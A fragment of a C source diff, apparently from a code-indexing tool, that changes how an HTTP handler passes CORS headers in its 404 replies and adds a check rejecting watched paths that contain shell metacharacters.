mg_http_reply(c, 404, CORS_HEADERS, "no frontend embedded");
mg_http_reply(c, 404, g_cors, "no frontend embedded");
return;
}
@@ -1067,7 +1121,7 @@ static void http_handler(struct mg_connection *c, int ev, void *ev_data) {
if (serve_embedded(c, path))
return;
mg_http_reply(c, 404, CORS_HEADERS, "not found");
mg_http_reply(c, 404, g_cors, "not found");
return;
}
@@ -1084,7 +1138,7 @@ static void http_handler(struct mg_connection *c, int ev, void *ev_data) {
return;
}
mg_http_reply(c, 404, CORS_HEADERS, "not found");
mg_http_reply(c, 404, g_cors, "not found");
}
/* ── Public API ───────────────────────────────────────────────── */
+8
View File
@@ -19,6 +19,7 @@
#include "foundation/hash_table.h"
#include "foundation/compat.h"
#include "foundation/compat_fs.h"
#include "foundation/str_util.h"
#include <stdio.h>
#include <stdlib.h>
@@ -224,6 +225,13 @@ void cbm_watcher_watch(cbm_watcher_t *w, const char *project_name, const char *r
return;
}
/* Reject paths with shell metacharacters — all git helpers use popen/system */
if (!cbm_validate_shell_arg(root_path)) {
cbm_log_warn("watcher.watch.reject", "project", project_name, "reason",
"path contains shell metacharacters");
return;
}
/* Remove old entry first (key points to state's project_name) */
project_state_t *old = cbm_ht_get(w->projects, project_name);
if (old) {